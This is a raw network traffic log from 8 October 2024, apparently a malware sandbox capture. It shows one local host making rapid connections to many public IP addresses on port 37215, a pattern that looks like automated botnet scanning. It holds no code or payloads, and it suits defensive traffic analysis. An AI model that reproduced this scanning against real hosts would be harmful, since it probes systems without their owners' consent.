Oct 8, 2024 20:34:46.338654995 CEST	43146	37215	192.168.2.14	41.39.101.230
Oct 8, 2024 20:34:46.339438915 CEST	37215	40306	41.32.197.61	192.168.2.14
Oct 8, 2024 20:34:46.340264082 CEST	37215	38706	197.29.27.45	192.168.2.14
Oct 8, 2024 20:34:46.341989040 CEST	37215	36692	197.90.138.159	192.168.2.14
Oct 8, 2024 20:34:46.342030048 CEST	36692	37215	192.168.2.14	197.90.138.159
Oct 8, 2024 20:34:46.344322920 CEST	37215	43146	41.39.101.230	192.168.2.14
Oct 8, 2024 20:34:46.344369888 CEST	43146	37215	192.168.2.14	41.39.101.230
Oct 8, 2024 20:34:46.363761902 CEST	37215	48562	41.202.0.65	192.168.2.14
Oct 8, 2024 20:34:46.367739916 CEST	45258	37215	192.168.2.14	156.227.235.113
Oct 8, 2024 20:34:46.367744923 CEST	49060	37215	192.168.2.14	156.48.218.124
Oct 8, 2024 20:34:46.367750883 CEST	56704	37215	192.168.2.14	41.11.98.189
Oct 8, 2024 20:34:46.367750883 CEST	49874	37215	192.168.2.14	197.78.178.68
Oct 8, 2024 20:34:46.367752075 CEST	58530	37215	192.168.2.14	156.21.110.130
Oct 8, 2024 20:34:46.367762089 CEST	45916	37215	192.168.2.14	41.170.38.108
Oct 8, 2024 20:34:46.367774010 CEST	56654	37215	192.168.2.14	197.200.248.209
Oct 8, 2024 20:34:46.367775917 CEST	42328	37215	192.168.2.14	156.5.34.251
Oct 8, 2024 20:34:46.367805958 CEST	43492	37215	192.168.2.14	197.17.119.210
Oct 8, 2024 20:34:46.367805958 CEST	54016	37215	192.168.2.14	197.117.78.21
Oct 8, 2024 20:34:46.367805958 CEST	59966	37215	192.168.2.14	41.246.192.50
Oct 8, 2024 20:34:46.367806911 CEST	54714	37215	192.168.2.14	156.252.148.55
Oct 8, 2024 20:34:46.367806911 CEST	57118	37215	192.168.2.14	156.124.112.196
Oct 8, 2024 20:34:46.367806911 CEST	60674	37215	192.168.2.14	197.237.78.137
Oct 8, 2024 20:34:46.367806911 CEST	50820	37215	192.168.2.14	41.31.141.250
Oct 8, 2024 20:34:46.367806911 CEST	37010	37215	192.168.2.14	41.65.180.158
Oct 8, 2024 20:34:46.367813110 CEST	34106	37215	192.168.2.14	41.222.138.105
Oct 8, 2024 20:34:46.367824078 CEST	48684	37215	192.168.2.14	41.240.220.129
Oct 8, 2024 20:34:46.367824078 CEST	53172	37215	192.168.2.14	156.42.99.212
Oct 8, 2024 20:34:46.367829084 CEST	40820	37215	192.168.2.14	197.242.150.234
Oct 8, 2024 20:34:46.367835999 CEST	57974	37215	192.168.2.14	41.231.9.54
Oct 8, 2024 20:34:46.367835999 CEST	57826	37215	192.168.2.14	41.81.245.124
Oct 8, 2024 20:34:46.367835999 CEST	53048	37215	192.168.2.14	41.127.183.31
Oct 8, 2024 20:34:46.367863894 CEST	54600	37215	192.168.2.14	197.98.15.6
Oct 8, 2024 20:34:46.367916107 CEST	38152	37215	192.168.2.14	156.209.95.181
Oct 8, 2024 20:34:46.368048906 CEST	37215	54588	156.235.39.57	192.168.2.14
Oct 8, 2024 20:34:46.368060112 CEST	37215	51342	156.130.3.215	192.168.2.14
Oct 8, 2024 20:34:46.368068933 CEST	37215	60804	197.56.8.149	192.168.2.14
Oct 8, 2024 20:34:46.368083000 CEST	37215	57946	41.125.245.240	192.168.2.14
Oct 8, 2024 20:34:46.368093967 CEST	37215	44852	41.7.7.103	192.168.2.14
Oct 8, 2024 20:34:46.368103981 CEST	37215	50966	41.47.159.130	192.168.2.14
Oct 8, 2024 20:34:46.368119955 CEST	37215	50954	41.115.234.247	192.168.2.14
Oct 8, 2024 20:34:46.373097897 CEST	37215	45258	156.227.235.113	192.168.2.14
Oct 8, 2024 20:34:46.373111010 CEST	37215	49060	156.48.218.124	192.168.2.14
Oct 8, 2024 20:34:46.373169899 CEST	49060	37215	192.168.2.14	156.48.218.124
Oct 8, 2024 20:34:46.373202085 CEST	45258	37215	192.168.2.14	156.227.235.113
Oct 8, 2024 20:34:46.373259068 CEST	49060	37215	192.168.2.14	156.48.218.124
Oct 8, 2024 20:34:46.373259068 CEST	49060	37215	192.168.2.14	156.48.218.124
Oct 8, 2024 20:34:46.373342991 CEST	37215	56704	41.11.98.189	192.168.2.14
Oct 8, 2024 20:34:46.373379946 CEST	56704	37215	192.168.2.14	41.11.98.189
Oct 8, 2024 20:34:46.373867989 CEST	49322	37215	192.168.2.14	156.48.218.124
Oct 8, 2024 20:34:46.375488997 CEST	45258	37215	192.168.2.14	156.227.235.113
Oct 8, 2024 20:34:46.375488997 CEST	45258	37215	192.168.2.14	156.227.235.113
Oct 8, 2024 20:34:46.375550032 CEST	37215	36296	197.90.138.159	192.168.2.14
Oct 8, 2024 20:34:46.375786066 CEST	37215	46754	156.151.29.185	192.168.2.14
Oct 8, 2024 20:34:46.375983000 CEST	45518	37215	192.168.2.14	156.227.235.113
Oct 8, 2024 20:34:46.376574039 CEST	56704	37215	192.168.2.14	41.11.98.189
Oct 8, 2024 20:34:46.376574039 CEST	56704	37215	192.168.2.14	41.11.98.189
Oct 8, 2024 20:34:46.377130032 CEST	56968	37215	192.168.2.14	41.11.98.189
Oct 8, 2024 20:34:46.378467083 CEST	37215	49060	156.48.218.124	192.168.2.14
Oct 8, 2024 20:34:46.378916025 CEST	37215	49322	156.48.218.124	192.168.2.14
Oct 8, 2024 20:34:46.379143953 CEST	49322	37215	192.168.2.14	156.48.218.124
Oct 8, 2024 20:34:46.379143953 CEST	49322	37215	192.168.2.14	156.48.218.124
Oct 8, 2024 20:34:46.379657984 CEST	37215	42768	41.39.101.230	192.168.2.14
Oct 8, 2024 20:34:46.379669905 CEST	37215	55866	156.68.138.126	192.168.2.14
Oct 8, 2024 20:34:46.380680084 CEST	37215	45258	156.227.235.113	192.168.2.14
Oct 8, 2024 20:34:46.381752014 CEST	37215	56704	41.11.98.189	192.168.2.14
Oct 8, 2024 20:34:46.383491039 CEST	37215	38706	197.29.27.45	192.168.2.14
Oct 8, 2024 20:34:46.384028912 CEST	37215	40306	41.32.197.61	192.168.2.14
Oct 8, 2024 20:34:46.384634018 CEST	37215	49322	156.48.218.124	192.168.2.14
Oct 8, 2024 20:34:46.384674072 CEST	49322	37215	192.168.2.14	156.48.218.124
Oct 8, 2024 20:34:46.399743080 CEST	48064	37215	192.168.2.14	156.226.176.193
Oct 8, 2024 20:34:46.399745941 CEST	39294	37215	192.168.2.14	156.121.39.131
Oct 8, 2024 20:34:46.399761915 CEST	50970	37215	192.168.2.14	41.90.202.228
Oct 8, 2024 20:34:46.399766922 CEST	56574	37215	192.168.2.14	41.141.199.197
Oct 8, 2024 20:34:46.399774075 CEST	59730	37215	192.168.2.14	156.23.150.150
Oct 8, 2024 20:34:46.399774075 CEST	54158	37215	192.168.2.14	41.161.155.85
Oct 8, 2024 20:34:46.399782896 CEST	59672	37215	192.168.2.14	41.254.189.110
Oct 8, 2024 20:34:46.399781942 CEST	49452	37215	192.168.2.14	197.233.110.195
Oct 8, 2024 20:34:46.399782896 CEST	35276	37215	192.168.2.14	41.249.65.237
Oct 8, 2024 20:34:46.399782896 CEST	51834	37215	192.168.2.14	156.222.230.128
Oct 8, 2024 20:34:46.399787903 CEST	44422	37215	192.168.2.14	41.206.39.39
Oct 8, 2024 20:34:46.399789095 CEST	41276	37215	192.168.2.14	156.37.142.153
Oct 8, 2024 20:34:46.399789095 CEST	44204	37215	192.168.2.14	197.153.237.169
Oct 8, 2024 20:34:46.399792910 CEST	38642	37215	192.168.2.14	41.82.216.35
Oct 8, 2024 20:34:46.399796009 CEST	49976	37215	192.168.2.14	197.71.89.68
Oct 8, 2024 20:34:46.399804115 CEST	57032	37215	192.168.2.14	41.136.4.0
Oct 8, 2024 20:34:46.399805069 CEST	52094	37215	192.168.2.14	41.55.5.219
Oct 8, 2024 20:34:46.399805069 CEST	52968	37215	192.168.2.14	156.112.43.171
Oct 8, 2024 20:34:46.405010939 CEST	37215	39294	156.121.39.131	192.168.2.14
Oct 8, 2024 20:34:46.405024052 CEST	37215	48064	156.226.176.193	192.168.2.14
Oct 8, 2024 20:34:46.405081987 CEST	48064	37215	192.168.2.14	156.226.176.193
Oct 8, 2024 20:34:46.405086994 CEST	39294	37215	192.168.2.14	156.121.39.131
Oct 8, 2024 20:34:46.405170918 CEST	39294	37215	192.168.2.14	156.121.39.131
Oct 8, 2024 20:34:46.405170918 CEST	39294	37215	192.168.2.14	156.121.39.131
Oct 8, 2024 20:34:46.405859947 CEST	39516	37215	192.168.2.14	156.121.39.131
Oct 8, 2024 20:34:46.407569885 CEST	48064	37215	192.168.2.14	156.226.176.193
Oct 8, 2024 20:34:46.407571077 CEST	48064	37215	192.168.2.14	156.226.176.193
Oct 8, 2024 20:34:46.409497976 CEST	48286	37215	192.168.2.14	156.226.176.193
Oct 8, 2024 20:34:46.410401106 CEST	37215	39294	156.121.39.131	192.168.2.14
Oct 8, 2024 20:34:46.410742044 CEST	37215	39516	156.121.39.131	192.168.2.14
Oct 8, 2024 20:34:46.410794973 CEST	39516	37215	192.168.2.14	156.121.39.131
Oct 8, 2024 20:34:46.410820007 CEST	39516	37215	192.168.2.14	156.121.39.131
Oct 8, 2024 20:34:46.412482023 CEST	37215	48064	156.226.176.193	192.168.2.14
Oct 8, 2024 20:34:46.416645050 CEST	37215	39516	156.121.39.131	192.168.2.14
Oct 8, 2024 20:34:46.416696072 CEST	39516	37215	192.168.2.14	156.121.39.131
Oct 8, 2024 20:34:46.419512033 CEST	37215	49060	156.48.218.124	192.168.2.14
Oct 8, 2024 20:34:46.423584938 CEST	37215	56704	41.11.98.189	192.168.2.14
Oct 8, 2024 20:34:46.423598051 CEST	37215	45258	156.227.235.113	192.168.2.14
Oct 8, 2024 20:34:46.431741953 CEST	37056	37215	192.168.2.14	41.103.212.117
Oct 8, 2024 20:34:46.431742907 CEST	50256	37215	192.168.2.14	156.74.149.151
Oct 8, 2024 20:34:46.431762934 CEST	53452	37215	192.168.2.14	197.53.135.75
Oct 8, 2024 20:34:46.431763887 CEST	56860	37215	192.168.2.14	41.196.1.126
Oct 8, 2024 20:34:46.431763887 CEST	57812	37215	192.168.2.14	197.120.159.78
Oct 8, 2024 20:34:46.431765079 CEST	48204	37215	192.168.2.14	197.146.79.42
Oct 8, 2024 20:34:46.431768894 CEST	40466	37215	192.168.2.14	197.169.44.159
Oct 8, 2024 20:34:46.431765079 CEST	59172	37215	192.168.2.14	197.75.45.209
Oct 8, 2024 20:34:46.431770086 CEST	41742	37215	192.168.2.14	156.235.201.5
Oct 8, 2024 20:34:46.431765079 CEST	47274	37215	192.168.2.14	156.136.228.139
Oct 8, 2024 20:34:46.431782007 CEST	43796	37215	192.168.2.14	41.250.111.239
Oct 8, 2024 20:34:46.431782961 CEST	35478	37215	192.168.2.14	41.5.23.116
Oct 8, 2024 20:34:46.431782961 CEST	49750	37215	192.168.2.14	41.4.208.158
Oct 8, 2024 20:34:46.431787014 CEST	43034	37215	192.168.2.14	41.168.97.59
Oct 8, 2024 20:34:46.431794882 CEST	44706	37215	192.168.2.14	41.53.65.212
Oct 8, 2024 20:34:46.431802034 CEST	55370	37215	192.168.2.14	41.36.42.133
Oct 8, 2024 20:34:46.431802034 CEST	56610	37215	192.168.2.14	41.234.186.12
Oct 8, 2024 20:34:46.431802034 CEST	44906	37215	192.168.2.14	41.113.7.78
Oct 8, 2024 20:34:46.431807995 CEST	42642	37215	192.168.2.14	197.100.85.188
Oct 8, 2024 20:34:46.431827068 CEST	38658	37215	192.168.2.14	197.61.144.116
Oct 8, 2024 20:34:46.431847095 CEST	42224	37215	192.168.2.14	156.152.77.121
Oct 8, 2024 20:34:46.431845903 CEST	52212	37215	192.168.2.14	197.153.204.158
Oct 8, 2024 20:34:46.431857109 CEST	48868	37215	192.168.2.14	41.125.157.173
Oct 8, 2024 20:34:46.437037945 CEST	37215	37056	41.103.212.117	192.168.2.14
Oct 8, 2024 20:34:46.437050104 CEST	37215	50256	156.74.149.151	192.168.2.14
Oct 8, 2024 20:34:46.437061071 CEST	37215	56860	41.196.1.126	192.168.2.14
Oct 8, 2024 20:34:46.437096119 CEST	37056	37215	192.168.2.14	41.103.212.117
Oct 8, 2024 20:34:46.437096119 CEST	50256	37215	192.168.2.14	156.74.149.151
Oct 8, 2024 20:34:46.437103987 CEST	56860	37215	192.168.2.14	41.196.1.126
Oct 8, 2024 20:34:46.437134981 CEST	50256	37215	192.168.2.14	156.74.149.151
Oct 8, 2024 20:34:46.437143087 CEST	37056	37215	192.168.2.14	41.103.212.117
Oct 8, 2024 20:34:46.437160969 CEST	56860	37215	192.168.2.14	41.196.1.126
Oct 8, 2024 20:34:46.443574905 CEST	37215	37056	41.103.212.117	192.168.2.14
Oct 8, 2024 20:34:46.443586111 CEST	37215	56860	41.196.1.126	192.168.2.14
Oct 8, 2024 20:34:46.443594933 CEST	37215	50256	156.74.149.151	192.168.2.14
Oct 8, 2024 20:34:46.443636894 CEST	37056	37215	192.168.2.14	41.103.212.117
Oct 8, 2024 20:34:46.443636894 CEST	50256	37215	192.168.2.14	156.74.149.151
Oct 8, 2024 20:34:46.444019079 CEST	56860	37215	192.168.2.14	41.196.1.126
Oct 8, 2024 20:34:46.451687098 CEST	37215	39294	156.121.39.131	192.168.2.14
Oct 8, 2024 20:34:46.455729008 CEST	37215	48064	156.226.176.193	192.168.2.14
Oct 8, 2024 20:34:46.463737965 CEST	44466	37215	192.168.2.14	41.228.100.124
Oct 8, 2024 20:34:46.463742971 CEST	40066	37215	192.168.2.14	41.170.240.154
Oct 8, 2024 20:34:46.463747978 CEST	57962	37215	192.168.2.14	197.240.239.215
Oct 8, 2024 20:34:46.463747978 CEST	50086	37215	192.168.2.14	156.244.34.40
Oct 8, 2024 20:34:46.463764906 CEST	59958	37215	192.168.2.14	197.205.151.131
Oct 8, 2024 20:34:46.463768005 CEST	45180	37215	192.168.2.14	197.47.170.78
Oct 8, 2024 20:34:46.463768005 CEST	52546	37215	192.168.2.14	41.62.139.88
Oct 8, 2024 20:34:46.463773966 CEST	53302	37215	192.168.2.14	156.212.37.239
Oct 8, 2024 20:34:46.463773966 CEST	52738	37215	192.168.2.14	197.114.205.104
Oct 8, 2024 20:34:46.463773966 CEST	46350	37215	192.168.2.14	156.252.34.119
Oct 8, 2024 20:34:46.463774920 CEST	53022	37215	192.168.2.14	41.71.213.174
Oct 8, 2024 20:34:46.463781118 CEST	40160	37215	192.168.2.14	197.103.175.106
Oct 8, 2024 20:34:46.463781118 CEST	50580	37215	192.168.2.14	156.112.111.237
Oct 8, 2024 20:34:46.463793039 CEST	57466	37215	192.168.2.14	41.200.79.242
Oct 8, 2024 20:34:46.463802099 CEST	41894	37215	192.168.2.14	197.139.250.29
Oct 8, 2024 20:34:46.463803053 CEST	38906	37215	192.168.2.14	41.171.155.222
Oct 8, 2024 20:34:46.463804960 CEST	38114	37215	192.168.2.14	197.242.35.187
Oct 8, 2024 20:34:46.468801975 CEST	37215	44466	41.228.100.124	192.168.2.14
Oct 8, 2024 20:34:46.468812943 CEST	37215	40066	41.170.240.154	192.168.2.14
Oct 8, 2024 20:34:46.468833923 CEST	37215	57962	197.240.239.215	192.168.2.14
Oct 8, 2024 20:34:46.468864918 CEST	44466	37215	192.168.2.14	41.228.100.124
Oct 8, 2024 20:34:46.468868017 CEST	40066	37215	192.168.2.14	41.170.240.154
Oct 8, 2024 20:34:46.468884945 CEST	57962	37215	192.168.2.14	197.240.239.215
Oct 8, 2024 20:34:46.468929052 CEST	40066	37215	192.168.2.14	41.170.240.154
Oct 8, 2024 20:34:46.468941927 CEST	44466	37215	192.168.2.14	41.228.100.124
Oct 8, 2024 20:34:46.468985081 CEST	57962	37215	192.168.2.14	197.240.239.215
Oct 8, 2024 20:34:46.474682093 CEST	37215	44466	41.228.100.124	192.168.2.14
Oct 8, 2024 20:34:46.474742889 CEST	44466	37215	192.168.2.14	41.228.100.124
Oct 8, 2024 20:34:46.475243092 CEST	37215	40066	41.170.240.154	192.168.2.14
Oct 8, 2024 20:34:46.475291014 CEST	40066	37215	192.168.2.14	41.170.240.154
Oct 8, 2024 20:34:46.475317001 CEST	37215	57962	197.240.239.215	192.168.2.14
Oct 8, 2024 20:34:46.475347996 CEST	57962	37215	192.168.2.14	197.240.239.215
Oct 8, 2024 20:34:46.495728970 CEST	58694	37215	192.168.2.14	197.94.191.86
Oct 8, 2024 20:34:46.495740891 CEST	56136	37215	192.168.2.14	41.237.78.220
Oct 8, 2024 20:34:46.495740891 CEST	47088	37215	192.168.2.14	156.210.51.216
Oct 8, 2024 20:34:46.495748043 CEST	51658	37215	192.168.2.14	41.33.42.250
Oct 8, 2024 20:34:46.495748043 CEST	47368	37215	192.168.2.14	41.102.203.253
Oct 8, 2024 20:34:46.495757103 CEST	60664	37215	192.168.2.14	197.153.188.64
Oct 8, 2024 20:34:46.495759964 CEST	59936	37215	192.168.2.14	41.126.15.131
Oct 8, 2024 20:34:46.495759964 CEST	47792	37215	192.168.2.14	41.61.90.18
Oct 8, 2024 20:34:46.495774984 CEST	52676	37215	192.168.2.14	156.43.132.129
Oct 8, 2024 20:34:46.495774984 CEST	57418	37215	192.168.2.14	197.247.144.107
Oct 8, 2024 20:34:46.495783091 CEST	34804	37215	192.168.2.14	156.9.173.187
Oct 8, 2024 20:34:46.495783091 CEST	46320	37215	192.168.2.14	197.5.175.128
Oct 8, 2024 20:34:46.495784044 CEST	34024	37215	192.168.2.14	156.8.55.141
Oct 8, 2024 20:34:46.495784044 CEST	60982	37215	192.168.2.14	197.94.55.209
Oct 8, 2024 20:34:46.495790005 CEST	51064	37215	192.168.2.14	41.225.209.41
Oct 8, 2024 20:34:46.495801926 CEST	39506	37215	192.168.2.14	156.242.157.164
Oct 8, 2024 20:34:46.495801926 CEST	42834	37215	192.168.2.14	156.127.1.25
Oct 8, 2024 20:34:46.495805025 CEST	39958	37215	192.168.2.14	156.171.60.191
Oct 8, 2024 20:34:46.500571966 CEST	37215	58694	197.94.191.86	192.168.2.14
Oct 8, 2024 20:34:46.500586987 CEST	37215	56136	41.237.78.220	192.168.2.14
Oct 8, 2024 20:34:46.500601053 CEST	37215	47088	156.210.51.216	192.168.2.14
Oct 8, 2024 20:34:46.500633955 CEST	58694	37215	192.168.2.14	197.94.191.86
Oct 8, 2024 20:34:46.500650883 CEST	56136	37215	192.168.2.14	41.237.78.220
Oct 8, 2024 20:34:46.500650883 CEST	47088	37215	192.168.2.14	156.210.51.216
Oct 8, 2024 20:34:46.500703096 CEST	47088	37215	192.168.2.14	156.210.51.216
Oct 8, 2024 20:34:46.500703096 CEST	56136	37215	192.168.2.14	41.237.78.220
Oct 8, 2024 20:34:46.500714064 CEST	58694	37215	192.168.2.14	197.94.191.86
Oct 8, 2024 20:34:46.506234884 CEST	37215	58694	197.94.191.86	192.168.2.14
Oct 8, 2024 20:34:46.506283045 CEST	58694	37215	192.168.2.14	197.94.191.86
Oct 8, 2024 20:34:46.506875992 CEST	37215	56136	41.237.78.220	192.168.2.14
Oct 8, 2024 20:34:46.506936073 CEST	37215	47088	156.210.51.216	192.168.2.14
Oct 8, 2024 20:34:46.506951094 CEST	56136	37215	192.168.2.14	41.237.78.220
Oct 8, 2024 20:34:46.506978035 CEST	47088	37215	192.168.2.14	156.210.51.216
Oct 8, 2024 20:34:46.527731895 CEST	42858	37215	192.168.2.14	156.228.8.25
Oct 8, 2024 20:34:46.527731895 CEST	39812	37215	192.168.2.14	197.3.1.37
Oct 8, 2024 20:34:46.527734041 CEST	41726	37215	192.168.2.14	197.61.130.134
Oct 8, 2024 20:34:46.527734041 CEST	37752	37215	192.168.2.14	41.103.121.35
Oct 8, 2024 20:34:46.527749062 CEST	58632	37215	192.168.2.14	197.118.22.201
Oct 8, 2024 20:34:46.527755022 CEST	37458	37215	192.168.2.14	156.196.97.204
Oct 8, 2024 20:34:46.527762890 CEST	52756	37215	192.168.2.14	156.40.104.148
Oct 8, 2024 20:34:46.527762890 CEST	37646	37215	192.168.2.14	156.13.36.43
Oct 8, 2024 20:34:46.527762890 CEST	54208	37215	192.168.2.14	156.192.248.123
Oct 8, 2024 20:34:46.527765989 CEST	55452	37215	192.168.2.14	156.33.3.166
Oct 8, 2024 20:34:46.527766943 CEST	53090	37215	192.168.2.14	156.133.98.88
Oct 8, 2024 20:34:46.527770996 CEST	55626	37215	192.168.2.14	197.183.193.206
Oct 8, 2024 20:34:46.527785063 CEST	45126	37215	192.168.2.14	197.59.58.68
Oct 8, 2024 20:34:46.527786016 CEST	58440	37215	192.168.2.14	197.138.131.243
Oct 8, 2024 20:34:46.527791023 CEST	49368	37215	192.168.2.14	41.50.101.100
Oct 8, 2024 20:34:46.527791023 CEST	36876	37215	192.168.2.14	41.121.20.163
Oct 8, 2024 20:34:46.532707930 CEST	37215	41726	197.61.130.134	192.168.2.14
Oct 8, 2024 20:34:46.532807112 CEST	41726	37215	192.168.2.14	197.61.130.134
Oct 8, 2024 20:34:46.532807112 CEST	41726	37215	192.168.2.14	197.61.130.134
Oct 8, 2024 20:34:46.533127069 CEST	37215	37752	41.103.121.35	192.168.2.14
Oct 8, 2024 20:34:46.533138990 CEST	37215	42858	156.228.8.25	192.168.2.14
Oct 8, 2024 20:34:46.533174992 CEST	37752	37215	192.168.2.14	41.103.121.35
Oct 8, 2024 20:34:46.533178091 CEST	42858	37215	192.168.2.14	156.228.8.25
Oct 8, 2024 20:34:46.533420086 CEST	37752	37215	192.168.2.14	41.103.121.35
Oct 8, 2024 20:34:46.533461094 CEST	42858	37215	192.168.2.14	156.228.8.25
Oct 8, 2024 20:34:46.538213968 CEST	37215	41726	197.61.130.134	192.168.2.14
Oct 8, 2024 20:34:46.538269043 CEST	41726	37215	192.168.2.14	197.61.130.134
Oct 8, 2024 20:34:46.538687944 CEST	37215	37752	41.103.121.35	192.168.2.14
Oct 8, 2024 20:34:46.538700104 CEST	37215	42858	156.228.8.25	192.168.2.14
Oct 8, 2024 20:34:46.538739920 CEST	37752	37215	192.168.2.14	41.103.121.35
Oct 8, 2024 20:34:46.538806915 CEST	42858	37215	192.168.2.14	156.228.8.25
Oct 8, 2024 20:34:46.559730053 CEST	59290	37215	192.168.2.14	41.233.118.37
Oct 8, 2024 20:34:46.559732914 CEST	56646	37215	192.168.2.14	197.249.177.156
Oct 8, 2024 20:34:46.564872026 CEST	37215	56646	197.249.177.156	192.168.2.14
Oct 8, 2024 20:34:46.564882994 CEST	37215	59290	41.233.118.37	192.168.2.14
Oct 8, 2024 20:34:46.564940929 CEST	56646	37215	192.168.2.14	197.249.177.156
Oct 8, 2024 20:34:46.564944983 CEST	59290	37215	192.168.2.14	41.233.118.37
Oct 8, 2024 20:34:46.564977884 CEST	59290	37215	192.168.2.14	41.233.118.37
Oct 8, 2024 20:34:46.565012932 CEST	48169	37215	192.168.2.14	197.160.183.42
Oct 8, 2024 20:34:46.565017939 CEST	48169	37215	192.168.2.14	156.15.227.166
Oct 8, 2024 20:34:46.565017939 CEST	48169	37215	192.168.2.14	197.82.124.75
Oct 8, 2024 20:34:46.565032005 CEST	48169	37215	192.168.2.14	197.171.71.246
Oct 8, 2024 20:34:46.565048933 CEST	48169	37215	192.168.2.14	156.150.128.228
Oct 8, 2024 20:34:46.565056086 CEST	48169	37215	192.168.2.14	41.53.159.200
Oct 8, 2024 20:34:46.565056086 CEST	48169	37215	192.168.2.14	156.255.221.123
Oct 8, 2024 20:34:46.565063000 CEST	56646	37215	192.168.2.14	197.249.177.156
Oct 8, 2024 20:34:46.565068007 CEST	48169	37215	192.168.2.14	197.110.83.58
Oct 8, 2024 20:34:46.565078020 CEST	48169	37215	192.168.2.14	197.78.83.201
Oct 8, 2024 20:34:46.565080881 CEST	48169	37215	192.168.2.14	197.216.34.82
Oct 8, 2024 20:34:46.565089941 CEST	48169	37215	192.168.2.14	41.253.71.7
Oct 8, 2024 20:34:46.565098047 CEST	48169	37215	192.168.2.14	156.73.91.115
Oct 8, 2024 20:34:46.565105915 CEST	48169	37215	192.168.2.14	41.121.87.22
Oct 8, 2024 20:34:46.565121889 CEST	48169	37215	192.168.2.14	156.145.94.97
Oct 8, 2024 20:34:46.565121889 CEST	48169	37215	192.168.2.14	197.19.197.141
Oct 8, 2024 20:34:46.565123081 CEST	48169	37215	192.168.2.14	41.136.147.247
Oct 8, 2024 20:34:46.565121889 CEST	48169	37215	192.168.2.14	156.63.2.202
Oct 8, 2024 20:34:46.565123081 CEST	48169	37215	192.168.2.14	156.49.91.171
Oct 8, 2024 20:34:46.565135956 CEST	48169	37215	192.168.2.14	41.123.222.163
Oct 8, 2024 20:34:46.565135956 CEST	48169	37215	192.168.2.14	41.173.129.2
Oct 8, 2024 20:34:46.565139055 CEST	48169	37215	192.168.2.14	197.87.97.51
Oct 8, 2024 20:34:46.565152884 CEST	48169	37215	192.168.2.14	41.189.249.236
Oct 8, 2024 20:34:46.565160990 CEST	48169	37215	192.168.2.14	197.66.180.176
Oct 8, 2024 20:34:46.565160990 CEST	48169	37215	192.168.2.14	197.163.248.221
Oct 8, 2024 20:34:46.565160990 CEST	48169	37215	192.168.2.14	41.41.146.108
Oct 8, 2024 20:34:46.565171003 CEST	48169	37215	192.168.2.14	197.22.23.54
Oct 8, 2024 20:34:46.565181017 CEST	48169	37215	192.168.2.14	41.36.78.19
Oct 8, 2024 20:34:46.565181017 CEST	48169	37215	192.168.2.14	156.157.31.153
Oct 8, 2024 20:34:46.565185070 CEST	48169	37215	192.168.2.14	197.10.160.191
Oct 8, 2024 20:34:46.565206051 CEST	48169	37215	192.168.2.14	197.30.227.201
Oct 8, 2024 20:34:46.565207958 CEST	48169	37215	192.168.2.14	41.142.116.37
Oct 8, 2024 20:34:46.565217972 CEST	48169	37215	192.168.2.14	41.73.139.133
Oct 8, 2024 20:34:46.565239906 CEST	48169	37215	192.168.2.14	197.143.149.104
Oct 8, 2024 20:34:46.565239906 CEST	48169	37215	192.168.2.14	197.42.199.201
Oct 8, 2024 20:34:46.565243959 CEST	48169	37215	192.168.2.14	197.203.229.234
Oct 8, 2024 20:34:46.565249920 CEST	48169	37215	192.168.2.14	156.216.37.146
Oct 8, 2024 20:34:46.565256119 CEST	48169	37215	192.168.2.14	41.227.25.156
Oct 8, 2024 20:34:46.565256119 CEST	48169	37215	192.168.2.14	41.97.233.75
Oct 8, 2024 20:34:46.565262079 CEST	48169	37215	192.168.2.14	156.88.94.55
Oct 8, 2024 20:34:46.565262079 CEST	48169	37215	192.168.2.14	197.180.230.72
Oct 8, 2024 20:34:46.565262079 CEST	48169	37215	192.168.2.14	41.191.127.105
Oct 8, 2024 20:34:46.565262079 CEST	48169	37215	192.168.2.14	197.115.35.190
Oct 8, 2024 20:34:46.565305948 CEST	48169	37215	192.168.2.14	41.118.81.32
Oct 8, 2024 20:34:46.565306902 CEST	48169	37215	192.168.2.14	156.31.80.215
Oct 8, 2024 20:34:46.565306902 CEST	48169	37215	192.168.2.14	41.30.222.124
Oct 8, 2024 20:34:46.565315962 CEST	48169	37215	192.168.2.14	156.120.110.235
Oct 8, 2024 20:34:46.565315962 CEST	48169	37215	192.168.2.14	41.187.85.127
Oct 8, 2024 20:34:46.565327883 CEST	48169	37215	192.168.2.14	41.224.13.248
Oct 8, 2024 20:34:46.565332890 CEST	48169	37215	192.168.2.14	41.233.151.11
Oct 8, 2024 20:34:46.565346956 CEST	48169	37215	192.168.2.14	197.132.182.166
Oct 8, 2024 20:34:46.565351009 CEST	48169	37215	192.168.2.14	197.21.28.9
Oct 8, 2024 20:34:46.565351963 CEST	48169	37215	192.168.2.14	197.228.128.136
Oct 8, 2024 20:34:46.565363884 CEST	48169	37215	192.168.2.14	156.93.161.176
Oct 8, 2024 20:34:46.565383911 CEST	48169	37215	192.168.2.14	41.122.199.198
Oct 8, 2024 20:34:46.565392971 CEST	48169	37215	192.168.2.14	41.50.59.255
Oct 8, 2024 20:34:46.565399885 CEST	48169	37215	192.168.2.14	41.255.252.31
Oct 8, 2024 20:34:46.565399885 CEST	48169	37215	192.168.2.14	156.249.164.94
Oct 8, 2024 20:34:46.565404892 CEST	48169	37215	192.168.2.14	156.57.182.31
Oct 8, 2024 20:34:46.565414906 CEST	48169	37215	192.168.2.14	197.126.124.9
Oct 8, 2024 20:34:46.565414906 CEST	48169	37215	192.168.2.14	41.209.124.205
Oct 8, 2024 20:34:46.565414906 CEST	48169	37215	192.168.2.14	156.165.16.67
Oct 8, 2024 20:34:46.565426111 CEST	48169	37215	192.168.2.14	156.109.207.88
Oct 8, 2024 20:34:46.565427065 CEST	48169	37215	192.168.2.14	156.209.241.15
Oct 8, 2024 20:34:46.565428972 CEST	48169	37215	192.168.2.14	41.23.14.139
Oct 8, 2024 20:34:46.565438032 CEST	48169	37215	192.168.2.14	197.222.164.197
Oct 8, 2024 20:34:46.565438032 CEST	48169	37215	192.168.2.14	197.174.57.189
Oct 8, 2024 20:34:46.565447092 CEST	48169	37215	192.168.2.14	197.205.21.231
Oct 8, 2024 20:34:46.565459013 CEST	48169	37215	192.168.2.14	41.136.211.133
Oct 8, 2024 20:34:46.565464020 CEST	48169	37215	192.168.2.14	41.136.156.19
Oct 8, 2024 20:34:46.565471888 CEST	48169	37215	192.168.2.14	41.154.150.70
Oct 8, 2024 20:34:46.565474033 CEST	48169	37215	192.168.2.14	156.181.75.180
Oct 8, 2024 20:34:46.565474033 CEST	48169	37215	192.168.2.14	41.62.82.158
Oct 8, 2024 20:34:46.565480947 CEST	48169	37215	192.168.2.14	197.207.142.16
Oct 8, 2024 20:34:46.565491915 CEST	48169	37215	192.168.2.14	41.101.173.231
Oct 8, 2024 20:34:46.565511942 CEST	48169	37215	192.168.2.14	156.138.209.153
